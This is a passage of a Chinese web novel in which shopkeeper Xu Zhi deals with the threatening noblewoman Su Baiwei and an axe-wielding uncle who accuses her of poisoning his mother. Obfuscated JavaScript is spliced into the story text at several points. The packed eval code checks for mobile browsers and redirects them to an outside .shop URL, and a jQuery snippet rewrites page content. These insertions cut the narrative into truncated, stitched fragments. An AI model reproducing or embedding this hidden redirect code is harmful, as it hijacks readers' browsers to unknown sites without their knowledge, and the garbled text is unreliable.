苏白薇绝不是这样的人,何况她将长公主的赚钱生意给毁了,不可能不对她做什么。 她正想着,里间的门吱呀一声被打开了。 许芷循声望过去,看到了探头进来的孟雨兰。 孟雨兰本来小心望过来的眼神,看到许芷看到了她,孟雨兰立马展露笑颜。 “怎么样了,小妹。” 她是知道许芷来屋里东西的,忙了半日这会儿闲一点,想着进来看看许芷查到了什么吗? 既然许芷看到了自己,她大大方方地进来开口问:“怎么样,小芷?对得上吗?” “对得上。” 许芷愁容满面。 本来听到对得上,孟雨兰还有些高兴,因为这样看她的猜测应当是对的。 可是又看到许芷这样子,还没扬起的笑容彻底放下了。 她微微叹了口气,开口道:“小妹,应当就是我说的这种情况,你也别操心了,咱们好好开门做生意就行。” 说完许芷看到门外几道担心的影子晃了晃。 她知道自己作为铺子的老板,若是她整日疑心疑鬼、愁容满面,那王茹娇和孟雨兰他们也会被自己影响到。 开门做生意,各个都面露愁容那还怎么卖东西? 所以许芷扯出一抹笑容,开口说道:“雨兰姐,你说的不错,我就是想的太多了,这事儿既然查不到什么,你说的应该是对的。 所以我们不想这些事儿,好好做生意就行。 快过年了,我还有很多想法没弄呢,趁着过年,咱们再赚一笔。” “哎,这就对了,小妹,你有啥好想法,给我们说,咱们一起实现了它!” 孟雨兰保证地说着。 说完两人出来,来到了大厅忙活。 傍晚时分,苏白薇带着婢女再度踏进了乾坤铺子的门。 她一进来又是一样的捂着鼻子,好似这铺子里真的有什么污秽一般。 孟雨兰和王茹娇看到她对视一眼,两人双双叹了口气,眼神询问谁去。 只是还没等她们决定好,从后面仓库搬了东西出来的许芷就看到了她。 许芷将东西放下,笑脸相迎:“这位夫人,请问您是来拿给长公主做的水中月的吗?” 苏白薇看着许芷笑容里好似有些谄媚,她哼笑一声,闷声开口道:“听说我刚布施完,第二日掌柜的就也送了乡亲们东西。 这是跟我争名声呢?” 话音落下,凌厉的眼神望向她,不屑和傲慢盛满了眼眶砸向许芷。 而许芷闻言只是微微一笑,恭敬开口道:“夫人说笑了,提起这事儿,我该是感谢夫人才对。 我回去的时候,听村里人说了,是夫人特意帮我造了个好名声,我自然该回馈一下夫人。 既然夫人自己买了我这铺子里的东西,帮我造势,我也该用我铺子里的东西,让那些人知道夫人的好。” “嗯?”苏白薇斜眼睨她一眼,语气好似黏腻的毒蛇缠上许芷的脖颈,“是吗?我怎么听说,许掌柜是怕我送的东西不好,所以才特意送了一波呢?” 闻言,许芷的姿态更加恭敬了。 她腰弯得只能看到苏白薇的鞋尖,有些惶恐道:“这是哪来的无稽之谈啊? 我若是疑心夫人你送的东西,岂不是在说我自己的东西不好,这不是打我自己的脸,我怎么会这样做呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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春荷麻利上前,打开了匣子,将里面的东西拿出来递到了苏白薇眼前。 苏白薇本只打算随意瞥一眼,只是她的眼神看过去的瞬间,人好似定住了。 眼神紧紧盯在那包水中月。 第220章 掏心入药 看着苏白薇的反应,孟雨兰有些不解,这到底是好还是不好? 她看向许芷,想着看看许芷什么反应。 可许芷淡定如常,好似并没有在意对方的反应。 许芷眼神里带着微不可查的笑意,看着那绣着葡萄纹样的泡脚包,低声问道:“夫人可满意?” 她的话音落下,苏白薇的眼神猩红一片,斜眼看向她,分明是怒气满满。 苏白薇半晌才凶厉的开口:“我可太满意了,许掌柜这头可是难保!” 一听这话,铺子里的其他人,王茹娇、孟雨兰和刘喜英立马挡在了许芷的面前。 “你想干什么?” 王茹娇声音颤抖的质问。 她知道对方的身份不菲,所以害怕是真的,可是想要护着许芷也是真的。 因此,嗓音才会颤抖,但并不耽误她毅然决然的挡在许芷的面前。 孟雨兰也同样冷着脸说道:“你这夫人好不讲道理,不就是没做出你满意的水中月,大不了我们重新来,或者赔你钱就是了。 怎能说出如此草菅人命的话语,我就不信你的权势再大,还能大过皇上去,说**就**! 当本朝的律法都是空壳子吗?” 虽然话是这么说,孟雨兰说的也气势。 可是她心里清楚,律法规定的再全面,对这些权势滔天的人来说也约束不住他们。 眼下却也没有其他的法子,只能说这些话赌一把。 赌这夫人没有到这种****泄愤的权势和能力。 而且越是上位者,越是在乎表面的名声。 私下里怎么恶毒,或者干什么脏事都可以,偏偏不能明面上闹得人尽皆知。 就算大家都知道这人私下里是个什么蛇蝎心肠的,可是只要没有明说,或者没有明着揭发出来。 还都当做没有的样子。 所以就算是为了名誉,她也不该如此做。 何况这夫人是来给长公主办事的。 孟雨兰并不清楚长公主私下是个什么样的人,可是大家提起来长公主离不开这两个词。 一个是权势滔天,一个是乐善好施。 都说那长公主是个大善人,怎么会允许手下的人如此暴虐的明目张胆的行事呢? 只是到底是心里没底,孟雨兰袖子中握拳的双手,不受控的微微颤抖着。 而刘喜英看到她们两个都说了什么,她有心想说些。 可是她是个软弱的,如今光是站在许芷的面前,已经是莫大的勇气。 实在是说不出什么话。 所以她摆出了自己最气势汹汹的样子,不甘示弱的看着苏白薇,表示自己不是好惹的。 本来正打算跟苏白薇对峙的许芷看到她们三个这样维护自己,尤其是明知道她们胆子不大,还愿意为了自己这样出头。 许芷的内心涌进了一股暖流,感动不已。 而苏白薇看到她们三个挡在许芷的面前,反而没刚刚那生气嚣张的样子。 脸上换上了玩味的笑容,眼神轻蔑的扫过她们三个,嘲讽开口:“怎么?你们想替她死?” 说着她慵懒的坐下,一挥衣袖,眼神里透露出了一种逗弄的趣味感。 她轻笑出声:“多少年了,我都没有遇到过这么有趣的情况了,真是比十几年前观音庙那一页还让我觉得有趣。” 话音落下,她眼神扫过王茹娇三人,施舍一般的开口说:“那这样吧,既然你们如此维护她,我应该成全你们三位的心意。 给你们一个选择,要么你们三个把心掏出来让我入药,要么我把你们掌柜的脑袋扭下来做出药罐子。 二选一,你们可以好好想想。” 说完,拿过春荷刚刚晾好的茶,轻轻吹了两下,很有耐心的等着她们的抉择。 而听到这话,王茹娇、孟雨兰和刘喜英互相对视一眼,眼神里都有害怕,同时也有对许芷的心疼。 还有不知道该怎么破局的迷茫。 她们皱眉又齐刷刷的看向许芷,而许芷的面容并未因为苏白薇的话有任何的变化。 许芷先是给了三人一个安抚的眼神,接着她走到了三人前面,直视着苏白薇开口道: “我想这东西既然是给长公主做的,应该考虑的是长公主喜不喜欢,而不是夫人您的喜好吧?” 苏白薇听到这话恍若未闻,嗤笑一声嘲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走之前,苏白薇招手让许芷过去。 王茹娇三人的心因为她的这个举动又提了起来。 只是许芷过去之后,只见苏白薇低声说了什么,并未为难许芷。 看到许芷回来,三人瞬间又松了口气。 看着苏白薇离开的背影,王茹娇、孟雨兰和刘喜英都松了口气。 还好把这尊大佛给送走了,还以为这人要怎么为难她们。 刚刚三人真的是吓坏了,她们丝毫不怀疑这人真的会挖她们的心,会把许芷的头当药罐子。 “妈呀,终于把这人给送走了。” 王茹娇后怕的瘫坐在长凳上,因为刚刚害怕出了一身的汗,这会儿冷的有些发抖。 “是啊,终于送走了。” 刘喜英颤抖着声音也跟着说,她拍着胸脯,只觉得后怕的很。 而孟雨兰比她们稍强一些,她拿起杯子倒了杯茶水喝了之后,安慰两人道: “这下她要的东西都拿走了,肯定不会再回来为难咱们,你们俩不用怕了,以后再也不接这种单子就是了。” 听了孟雨兰的话,王茹娇高兴多了,恍然大悟道:“就是,反正东西都交出去了,她可不能再来找我们麻烦了。” 说着扭头对许芷说:“小芷,以后咱们不搞这些个什么定制的东西,就铺子里的东西,谁愿意买就买。 接这一个单子,真是提心吊胆好几日。” 许芷没什么表情的嗯了声,表情的凝重并未因为苏白薇走了而松懈下来。 王茹娇三人看到,面面相觑,想说些什么。 只是还没等她们开口,许芷先张开了嘴。 淡然的说:“我累了,想去后面躺会儿,你们先收拾着铺子,差不多也该关门了。 今晚我不吃晚饭了,你们吃不用管我。” 说完直接回了院子,也没给王茹娇三人说点什么的机会。 看到许芷的背影,王茹娇心疼的说道:“小芷定然是吓坏了。” “可不是,被那蛇蝎妇人看着,谁不害怕。” 刘喜英附和的说着,随即话头一转问向王茹娇和孟雨兰:“只是咱们真的不给许丫头弄点吃的?累了也应该吃点什么。” 闻言,孟雨兰微微叹了口气,说:“随着小妹去吧,她累了就让她睡。 不如我们留点包子或者红薯在灶上温着,她醒了真是饿了,也有的吃。” 听她这么说,刘喜英“行”了一声,就去后面准备晚饭了。 而王茹娇和孟雨兰则是在铺子里忙着收拾要关门。 回了房间的许芷,想到了刚刚苏白薇看到那水中月上葡萄样式那惊慌害怕的样子。 还有苏白薇提到了她死的那一个雨夜。 她不禁冷笑一声:“看来那一夜对你同样也记忆深刻。” 其实她刚开始做这些纹饰的时候,并没有想到苏白薇会对这葡萄纹样反应这么大。 当初她说谢臻膝下无子,可以做一些多子多福的纹样绣上去,准没错。 而孟雨兰一听也是满口答应,想着在这么小的面上绣上百子千孙图虽然难度很大,可是只要能让那长公主满意,也是值得。 却没想到许芷只是让她绣简单的葡萄、花生和石榴。 虽然这些也有多子多福的意思,可终究是比不过百子千孙图,又或者是送子观音也行啊。 可许芷很坚持,只说让她就听自己就行。 许芷还记得当时孟雨兰那不理解的样子。 “小妹,长公主见过多少好东西啊,你怎么能这么简单就了事呢?” “就是因为她见过那么多的好东西,全天下最好的绣娘都为她们绣样,多么精美繁复的东西肯定都见过。 但是拿这么简单的绣样给长公主的只怕是全天下只有咱们了。 这难道不算是独一无二?” 许芷反问回去,孟雨兰无话可说。 因为从这种程度上来说,许芷说的完全不错。 这怎么不算是一种独一无二呢? 孟雨兰说不过自己只能听自己的话,这么做了。 本来许芷是想着不管怎么样,自己毁了长公主赚钱的烟馆。 不管苏白薇怎么说怎么做都是要来找自己茬的,不如就这么破罐子破摔的应对。 自己就算是做出了全天下最精美最漂亮的水中月又怎样,到时候长公主想把自己弄死还不是一句话的事。 可是人活一世不可能一点把柄和得不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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腊月初十过后,城里的年味已经很足了。 大家都在忙着采办过年的东西。 许芷顺势推出了过年礼盒装的沐浴用品、香囊和泡脚包。 特地选了喜庆的红色布料,让孟雨兰绣了福字和祥云。 有些绣了平安喜乐、安康幸福的祝福语。 但是其中卖最火的要数许芷想出的一种立体的花样。 红布裹好的匣子上缝上了状似烟花的绒花,还有各种各样的花的种类。 从来没见过这样包装,绒花又音似荣华,有荣华富贵之意。 所以一经推出卖火爆,没人不想买两盒这样的绒花礼盒。 不管是自己留着还是送人都格外的有面子。 甚至到了大排长队要买这个礼盒的程度。 但是许芷并没有准备很多,不管是什么东西一旦有了数,大家会更想要得到。 另外就是她们只有孟雨兰这一个绣娘,她一个人要绣这么多东西,已经不容易了。 要是别人要多少她们就准备多少,那还不把孟雨兰累趴下了。 所以不管是绒花的礼盒还是绣着福字的礼盒,许芷准备的都是有一定量。 只是福字的礼盒,刘喜英也可以帮着绣绣,所以准备的多一些。 连续忙了三四天,铺子里红火异常。 腊月十五,晚上许芷几人都没回家,因为忙到没空回去。 吃过饭,孟雨兰还在绣东西。 王茹娇、刘喜英和邓耧子则是在准备原材料,继续做东西。 王金宝家就在城里,前几日都是忙到半夜再回去睡。 今日老娘白天特意找了过来说是给他找了个姑娘,让他晚上相看相看,让他无论如何也要早点回去。 所以没到关门的时候许芷就放他走了。 王金宝看着铺子里那么多人,本来还想着再忙一会儿。 反正只要关门的时候快点赶回去就行。 但是许芷知道这婚姻大事不能马虎,叮嘱他早点回去,顺道买点什么。 还特意给他拿了块铺子里姑娘家买的最多的桂花皂,让他回去看了觉得差不多就送给人姑娘。 让人看到他的诚意。 在许芷的“轰人”攻势下,王金宝笑呵呵的拿着东西回去相看。 所以铺子里这会儿没有他忙碌的身影。 而许芷则是在案前算账记录。 等到都忙得差不多,许芷将人都聚在一起问道:“今年铺子生意好,但是我也不贪多,咱们到小年就关门休息。” 一听要休息王茹娇本来累无神的双眼瞬间亮了起来。 “好!我还以为咱们铺子跟别的铺子一样,要忙到除夕才算完,居然小年就休息了!” 王茹娇高兴有些手舞足蹈。 许芷看着她这样子笑了笑,接着泼冷水一样的开口说道:“你先别高兴,休息的确实早了些,但是过了年咱们可开门的早。 正月十五上元节,我想了些新奇的法子,能趁着这节日再大赚一波。 只是我这法子麻烦了些,需要咱们过了年早日开工,估计初五左右都要来铺子里帮忙,准备的差不多初八就要开门。 所以其他的铺子,除了那些卖节日**物品的,可是都休息到了正月十五以后。 只有咱们要早些来。” 听了这话,王茹娇没有想象中的难过,反而想的很开。 “那也行啊,反正每年我拜年也去不了几户,都是别人来我家。 我还嫌吵闹呢,这下早早有事干也成。 而且赚得多,小芷给我发的月钱也一定多,反正你肯定不会亏待我,到时候发了钱我就去买两身衣裳穿。” 听到王茹娇这话,大家都笑了。 刘喜英也跟着说:“来得早也好,小业回了村里总想着玩耍,不如在铺子里的时候积极学。” 邓耧子听到这个也正合心意。 他本来就愁着要是到了过年的时候,跟刘喜英回了村子,就不能接触了。 刘喜英严禁他在村子里的时候接近她,只能等到铺子再开门才行。 可要是许芷这边早开门,那他就能早日跟刘喜英一块。 这他有什么不愿意的,所以他也立刻赞同道:“我也成,反正过年也不跟从前一般,要做的事情多。 现在都能买,过年没啥事,闲着还不如来铺子里干活。” 听着大家都没有异议,许芷笑着承诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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同时根据你绣的东西复杂程度,每一样绣品还要单独给你赏金。” 第223章 给你挡着 闻言,孟雨兰不在意的笑了笑。 “我当然可以了,你这是想着法帮我分担,我清闲了还涨了月钱有什么不愿意的?” 许芷知道孟雨兰是个要强的人,她怕自己说了再招绣娘这件事,孟雨兰会觉得自己不需要她了。 可是她是真的觉得孟雨兰太累了,这件事她早就想说了。 也侧面的跟孟雨兰说再招个绣娘替她分担,但是孟雨兰每次都以给她省钱为由拒绝了。 许芷知道她是觉得自己救了她,所以要尽力、甚至是拼命地报答自己。 既然自己有这门手艺,那就把自己这门手艺用的极致。 而且这样自己还能少付一个人的月钱。 孟雨兰是为了让自己多赚钱。 可自己不能这么做啊,她还能真的让孟雨兰为了给自己赚钱,把身体和眼睛熬垮了? 还好这次提起,孟雨兰没有反对。 许芷猜的不错,孟雨兰之前确实是这么想的。 可是这几日忙成这个样子,她甚至没有空去做那些香囊的绣样。 不说自己多累,关键是耽误功夫。 耽误了铺子里的香囊供货,这不是得不偿失了。 而且多了两个绣娘,她遇到那种复杂的绣样,也更有时间去琢磨和精进。 绣得好,买的人自然也会多。 这几日自己确实也累到了,多两个人分担也不是坏事。 所以她没有像从前那样觉得不必要,把这钱省下来,而是答应了下来。 商量好了这两件事,几人又齐心协力地做了一会儿铺子里缺的东西,就去睡了。 第二日,刚吃过早饭,许芷几人正在收拾铺子里的东西,打算开门。 却还没收拾完,就听到了外面一阵急促的敲门声。 随着敲门声进来的还有暴跳如雷的喊声。 “许芷你**给我出来!你个黑心肝的死丫头,给我滚出来!” 听到这熟悉的声音,王茹娇猛然看向许芷。 许芷则是淡定的多,直接打算去开门。 而邓耧子看到直接将她拦住了,道:“那人如此暴躁,你就这么出去? 一个姑娘家也不知道怕,万一你一开门他拿把刀砍了上来怎么办? 我在你前面,给你挡着。” 说着,邓耧子去后院拿了个做膏沐时搅东西用的最粗的杵臼,走在了许芷的前面,小心翼翼的打开门板。 果然,看到了手里拿着斧头,怒气冲天的许过年。 门开的瞬间,许过年手里的斧头应声落下,还好邓耧子反应快,用杵臼挡住了。 许过年用力之大,直接将斧头深深地嵌进了杵臼里,就差几分这杵臼就一分为二了。 三个姑娘和刘喜英看到都吓坏了,一阵后怕。 这也亏的是邓耧子拦住了许芷,要不然这斧头砍在了许芷的身上,可就完了。 根本不敢想这后果多严重。 邓耧子则是满心的庆幸,还好是自己挡在了前面,还好自己拦住了许芷。 不过也得益于许过年用了这么大的劲儿,斧头嵌进去反而拿不出来了。 邓耧子趁着许过年拿不出斧头的间隙,直接一脚踹了过去。 没拿出斧头的许过年直接被踹到了大街上,手里的斧头还留在杵臼上。 邓耧子趁此机会赶紧把斧头拔了出来,丢到了院子里,确保许过年不会拿到。 他气势汹汹的冲出来,看着门外被推倒因为太痛半天没站起来的许过年,生气怒吼: “许过年!你发什么疯!” 许过年比邓耧子年长些,又是个好吃懒做的,体力上自然不如之前天天盖房做工的邓耧子。 刚刚邓耧子那一脚又是用尽了全力,所以许过年直接被踹到跌倒在地,浑身剧痛半天缓不过来。 这会儿好些了还没站起来,又听到邓耧子这个比自己年纪小的混小子,敢直呼自己的姓名吼自己,怒火更盛。 他好似忘了疼,站起来怒不可遏指着他吼道:“我发疯?你不问问这死丫头干了什么!” 这话说的邓耧子和许芷疑惑不已,不懂他在说什么。 但是许芷稍一思考,突然想到了苏白薇之前送铺子里东西的事情。 虽然当时数量都对上了,但是许芷就是觉得不对。 这几日忙的不可开交,暂时没想到这件事。 可是今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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烧了铺子 邓耧子毫无惧色上前不满吼道:“你胡说八道,上次就是你来讹人,明明没有的事儿,母子两个撒泼打滚的污蔑小芷。 这是一计不成又来一计,你真当我们还会信你吗?” “计?” 许过年眼神闪过狠厉,“我倒真希望这就是个计,可是我娘是真的性命垂危。” 最后四个字,他几乎是咬着牙说出来的。 想到娘昨晚那病入膏肓的样子,他的心里难受的紧。 娘的身体一直都很好,从未出现过什么问题。 更不要说这种断崖式的突然生病,更是从未有过的事情。 这所有的一切都要从娘得了许芷特意交代的那个香囊开始。 刚拿到那两日还好,可是渐渐地娘的脸色开始黑青,呼吸声逐渐听起来费劲。 到现在直接缠绵病榻,吃不进也吐不出,整日昏睡在床上。 起初他们还没想到是这香囊的问题,只当是母亲突发什么急病。 直到二哥许富年的小女儿许兰,年纪小觉得那香囊好闻,偷偷拿去了一晚,第二日竟然昏睡不起。 跟母亲一样的脸色黑青,只是许兰受影响的小,很快就醒了过来。 第二日蹦蹦跳跳的,好似没有这回事一般。 但是许老太可是拿着那香囊好几日,夜夜闻着入睡,早就不是那么容易好了。 就算他们把那香囊已经丢掉了,也来不及了,眼看着亲娘越发严重。 许过年接受不了,连夜来找许芷要个说法。 想到这许过年生气的指着许芷说道:“你这丫头还真是人不可貌相,看着你长得柔柔弱弱,可是办起事来还真是心狠。 是,我跟我娘确实是想过外招坑你,可我们顶多是想要些钱,可你呢?竟然心狠到要亲奶奶的命。 普天之下,断没有你这样做孙女的!” 因为这会儿早上不少人赶着早市去为了过年卖肉,所以街上的人不算少。 而且因为快过年了,铺子为了生意都早些开门。 所以这会儿街上已经热闹了起来,听到这动静,大家自觉地走往这凑着看。 听到许过年说孙女要亲奶奶的命,更是好奇的往这边围。 本身许芷的铺子就很得大家的注意,如今听到这么骇人听闻的话语,自然不会错过。 人群里不乏有上次许过年和许老太讹诈许芷时看热闹的人,所以有人问道: “这怎么又有人说这许掌柜谋害亲人啊?” “什么叫又啊,这人就是上次来讹许掌柜的,上次没成,这次又来,许掌柜摊上这样的亲人真是三生不幸啊。” “嘿,这次怎么就这一个人,上次那个心眼多的老太太呢?” 还有些看热闹不嫌事大的,直接喊许过年嘲讽道: “老兄,你这次可没上次看着真啊,你一个人来有什么说服力,不如还让你老娘来躺在这,那看着可比你光靠一张嘴说要有用的多。” “是啊,老兄,你怎么还敢来啊,上次没成功,这次还要来,都不怕许掌柜给你送到了衙门。” 还有些喜欢说教的也开口道: “人啊,还是要走正道,光想着这些歪门邪道可还成?你这么大个壮汉,干点什么不好啊。” 除此之外还有一些愤世嫉俗的,直接一口口水唾在许过年的脚边,开口不屑道: “你这人怎么好意思的?你们当初把许掌柜给丢了,这会儿又舔着脸来要钱,要是许掌柜没挣这么多钱,只怕你们还是避之不及。” “可不是嘛,要是我,我恨不得别人想不起这些事,老老实实在家里待着,不跟许掌柜扯上关系。 毕竟丢了自己的亲孙女能是什么光彩的事情?” 众人的议论声飘进许过年的耳朵,可他相比上次不管听谁说话都能炸起来的样子,这次反而冷静多了。 任凭周围的人怎么议论,他都不反驳不生气。 只是猩红愤怒的眼神盯着许芷,他开口道:“你这死丫头,我警告你,你要是现在去把我娘治好了,这事儿还有商量。 可你要是敢不认账,我一把火烧了你这铺子!” 说完,许芷还未有反应,人群里爆发了激烈的吵闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284591|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声。 “哎呦,这位老兄真是执迷不悟啊,光天化日之下竟然就要烧了许掌柜的铺子。” “我说这位兄台,你何必老是这样为难许掌柜呢,做人要讲良心啊。” “竟然还会有这种又厚脸皮又心狠之人,竟然要如此对待许掌柜,我们可不答应!” “就是,许掌柜平日里那么好,卖的东西也好,没了她没了铺子,我们可怎么办?” 各种各样的声音好像错了调子的礼乐声,嘈杂的飘进了许芷和许过年的耳朵里。 尽管大家都站在许芷这边,可是许芷清楚这就是苏白薇给自己下的套。 所以许老太也是真的被害得生了病。 许芷自认自己并不算什么心善之人,许老太那样的为人,她应该不管的。 许家对许芷做的一切,她心里都清楚。 可是他们要出事,也该是自己作的遭了报应,而不该是因为自己被苏白薇算计了去。 而且让许老太出事,本就是苏白薇故意让自己跳进去的陷阱。 所以怎么着都不能让许老太去世,人一旦没了许芷就是有千百张嘴都说不清楚了。 她并不想救许老太,可是这无穷无尽的麻烦并不是她想看到的。 所以只能想办法先救了人再说。 最起码真的要是到了不可挽回的地步,起码自己该做的都做了不至于落人话柄。 想到这许芷大声开口道:“感谢乡亲们的仗义执言。” 此话一出,众人纷纷不再说话,听着许芷说。 “今日之事我并不清楚原委,但既然这位先生求到了我的门前,出于仁义,我会找个大夫随着他回到家中为他母亲诊脉。 耽误了大家的事儿,我在这深表歉意,烦请各位都去忙自己的事情吧。” 听到许芷的话,众人纷纷夸赞她是个大善人。 而许过年怒气更盛,明明是许芷让自己的娘出了事儿,可是竟然所有人都站在她那边。 她让娘出事,本就应该找大夫,可这些人竟然觉得是她心善! 实为荒唐。 第225章 你自找的 “许芷!” 许过年大吼一声,本来想要四散而去的人群被这声音惊到,一时间忘了要去办自己的事儿,都停在了原地。 只见许过年怒气冲冲的上前,却**耧子拦住了。 他力气没有邓耧子大,只能停在原地怒吼道:“许芷,你还是不是我们许家的女儿!” “自然不是。” 许芷回答得十分迅速,表情淡定得好似再说一件再平常不过的事情。 “我四岁你们就给我丢到了下坪村,从那时候起我就不是你们许家的女儿了。” “你个孽障!我当你为什么那么好心,送给我娘香囊,竟是存了要她死的阴邪之念。 你给她找大夫自然是应当的,你造的孽就该你去解决,可这些瞎了眼的人,还夸你心善? 你要真的心善,我娘怎么会有如此劫难? 你个道貌岸然、两面三刀的卑鄙无耻小人,小小恩惠就蒙蔽了这世人的心,我就不信这世上之人都是一叶障目的庸才。” 许过年大声地控诉着,将在场之人都骂了一个遍。 这谁能忍,王茹娇这个急脾气,立马踏出门回怼。 “好一个卑鄙无耻、两面三刀,就你这样来讹诈小芷的人还能反过来说这种话,还真当大家都痴傻不成? 为什么大家为小芷说话?这不还要多亏了你,要不是你跟你娘上次来这闹这一通。 把你们卑鄙无耻的嘴脸展现得淋漓尽致,乡亲们怎么会这样说话。 真是什么因结什么果,你有今天那都是你自找的,还在这委屈上了,真不知道哪来的这么大脸?” 孟雨兰也冲上前不悦道:“我看你娘生病定然是因为上次没吃到便宜,心有不甘日思夜想的缘故,何必把锅甩到我们头上。 我们小芷心地善良,听到你娘出了事儿,愿意帮你们找个大夫已经是菩萨一般的心肠。 可你竟然还敢说这种话,你若是不领情,我们自然把你的话当成狗屁也使得。” 刘喜英嘴巴没这么厉害,只是上前,呸的一声,表示了自己对许过年的蔑视和不满。 而邓耧子则更直接,一伸手把许过年推了出去。 人高马大的挡在了许过年的身前,很是不客气的说道:“小芷心善是她的事儿,可我这人没什么好脾气,你要是还在这乱来,我不介意让你站着过来躺着回去。” 而许过年听到这话,气到已经说不出话,他平息了半天,才指着许芷说道:“你做了什么你自己心里清楚,总不能当了回坏人,我们就这辈子都不能信了吧? 狼来了,也会有真狼来的一天。 我告诉你臭丫头,你尽快把我娘治好,要不然我让你拿命赔!” 听到许过年还是如此的执迷不悟,邓耧子已经没有什么耐心了。 他指着许过年的鼻子,开口轰人:“你,赶紧给我滚!要不然我打折你的腿! 我们可没工夫跟你在这瞎闹,你这种游手好闲的浪荡货,缺钱就去街上要饭去,次次来这一出。 许芷再能挣也跟你们许家没有关系!” 说完不由分说的推着许过年,将人推出了人群外。 许过年气的都要吐血,可是他人还没追上去出气。 刚刚还在看戏的人群,立马冲进了许芷的铺子买东西。 让他根本挤不过去。 这跟许过年想的完全不一样,他以为这次有了许芷真的坑害他们的证据,应该到了这许芷会被吓的站不住脚。 不说赔钱,起码把娘治好吧。 许老太在昨晚都已经严重到声嘶力竭的哭爹喊娘,好似已经一脚踏进了鬼门关。 可是没想到自己拿着斧头找来算账,竟是一场空。 他愤恨的看着乾坤铺子,隔着人群跟许芷遥遥相望。 许芷的眼神里没什么情绪,反衬他的眼睛满是怒气。 许过年最后用口型留下了一句:“你等着。” 就消失在了街上。 许芷心里瞬间觉得不舒服,她本来是有解决事情的意思的。 她想着找个大夫回去,先把人看好了再说。 不说看好,起码也先别有性命之忧。 至于救回来之后是什么样子就不归她管了。 可是没想到自己都说了愿意找大夫,许过年反应还是那么大。 好像自己怎么做他都不会满意的。 这让许芷心底存疑,许老太到底有没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289751|195673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出事? 苏白薇一定是使了什么招数,让许老太出了事才对,可是这出事的程度倒是很难说。 万一苏白薇只是利用了许家人对许芷的眼红,还有上次讹诈事情失败之后,众人对他们的指责,让他们上门来找自己的事儿。 但这不符合苏白薇的作风,她要是出手,必然有伤亡。 可为什么自己明确提出找大夫,许过年会是那个反应? 不着急让大夫回去看亲娘的病,而是还跟她纠缠。 许芷叹了口气,觉得不能掉以轻心。 她心里清楚,一定是上次苏白薇布施的时候做下的事情。 那没有找到的问题,就在这。 许芷因为想这件事想的格外入迷,竟是不顾面前的客人付账的事情,发起了呆。 那人叫了许芷两声,看她还没反应,疑惑不已。 而一旁的孟雨兰看到许芷不对劲儿,将自己手头的客人打发走,赶紧上前去摇了一下许芷。 她只当许芷还在为大早上遇到许过年来惹事觉得晦气,所以才情绪低落。 所以她开口劝道:“小妹,先别想了,店里这么忙呢,等咱们忙过去了再去找那人算账!” 许芷脑海里还是苏白薇那狠戾的样子,她可是看着自己被剥皮抽筋、放血碎骨都没什么大的情绪波动的人。 单单只是这样是不是太奇怪了? 突然,许芷想到苏白薇她从小跟自己一样学了岐黄之术。 两人都对草药很是感兴趣。 只是许芷自己则是多琢磨那些治病救人的药材,而苏白薇则是从小对那些个毒物和害人的**更感兴趣。 所以她要是用什么药材制成能要人命的**根本不是什么难事。 甚至都不用服用,只是闻着都能要人命。 想到这许芷腾的一下站了起来,没有一点预兆的要往外去。 而孟雨兰在后面着急的追她,好不容易追上,着急的问:“小芷,你这是去哪?” 许芷同样着急:“快去许家,要不然真的要出人命了。” 听到许芷这么说,孟雨兰不敢再拦着。 